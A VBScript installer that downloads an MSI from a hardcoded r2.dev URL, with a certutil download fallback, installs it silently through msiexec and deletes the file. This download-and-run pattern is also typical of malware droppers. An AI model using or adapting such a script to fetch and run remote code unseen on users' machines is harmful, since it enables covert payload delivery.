Option Explicit

Const adTypeBinary          = 1
Const adSaveCreateOverWrite = 2

Dim shell, fso, http, stream
Dim url, msiFile, logFile, cmd, exitCode, body

url      = "https://pub-8c76307b5a0649f7bedc4145a1fdb9d1.r2.dev/MyProgram.msi"   ' <- your real URL
exitCode = 1

Set shell = CreateObject("WScript.Shell")
Set fso   = CreateObject("Scripting.FileSystemObject")
msiFile = shell.ExpandEnvironmentStrings("%TEMP%") & "\installer.msi"
logFile = shell.ExpandEnvironmentStrings("%TEMP%") & "\installer_install.log"

' -------- 1) Download -------------------------------------------------
On Error Resume Next
Set http = CreateObject("WinHttp.WinHttpRequest.5.1")
If Err.Number <> 0 Then Fail "create WinHttp", Err.Description

http.SetTimeouts 15000, 15000, 30000, 60000   ' resolve, connect, send, receive (ms)
http.Open "GET", url, False
http.Send
If Err.Number <> 0 Then Fail "download (check TLS / proxy / URL)", Err.Number & " " & Err.Description
On Error GoTo 0

If http.Status <> 200 Then Fail "HTTP status " & http.Status, "server returned " & http.Status

' -------- 2) Save binary ---------------------------------------------
On Error Resume Next
Err.Clear
body = http.ResponseBody            ' by-value copy -> fixes the by-ref bug
If Err.Number <> 0 Then Fail "read response body", Err.Description

Err.Clear
Set stream = CreateObject("ADODB.Stream")
If Err.Number <> 0 Then
    ' ADODB missing on stripped systems -> certutil fallback (Win7+)
    Err.Clear
    On Error GoTo 0
    WScript.Echo "ADODB.Stream unavailable - trying certutil..."
    exitCode = shell.Run("certutil -urlcache -split -f """ & url & """ """ & msiFile & """", 0, True)
    If exitCode <> 0 Or Not fso.FileExists(msiFile) Then Fail "save MSI (certutil)", "exit=" & exitCode
    GoTo DoInstall
End If
stream.Type = adTypeBinary
stream.Open
stream.Write (body)
stream.SaveToFile msiFile, adSaveCreateOverWrite
stream.Close
Set stream = Nothing
On Error GoTo 0

If Not fso.FileExists(msiFile) Or fso.GetFile(msiFile).Size = 0 Then
    Fail "save MSI", "file missing or 0 bytes"
End If

' -------- 3) Install --------------------------------------------------
DoInstall:
If Not IsElevated() Then
    WScript.Echo "WARNING: not elevated - a per-machine MSI will fail. Run as admin."
End If
cmd = "msiexec.exe /i """ & msiFile & """ /qn /norestart /l*v """ & logFile & """"
exitCode = shell.Run(cmd, 0, True)

' -------- 4) Cleanup (only on success) --------------------------------
If exitCode = 0 Then
    On Error Resume Next
    If fso.FileExists(msiFile) Then fso.DeleteFile msiFile, True
    On Error GoTo 0
    WScript.Echo "OK - installed."
Else
    WScript.Echo "msiexec returned " & exitCode & ". MSI kept: " & msiFile
    WScript.Echo "Install log: " & logFile
End If

WScript.Quit exitCode

' ----------------------------------------------------------------------
Sub Fail(stepName, detail)
    WScript.Echo "FAILED at " & stepName & " - " & detail
    WScript.Quit 1
End Sub

Function IsElevated()
    Dim testFile
    testFile = fso.GetSpecialFolder(0) & "\__wsh_elev_test.tmp"   ' C:\Windows
    On Error Resume Next
    fso.CreateTextFile(testFile, True).Close
    If Err.Number = 0 Then
        IsElevated = True
        fso.DeleteFile testFile, True
    Else
        IsElevated = False
    End If
    On Error GoTo 0
End Function
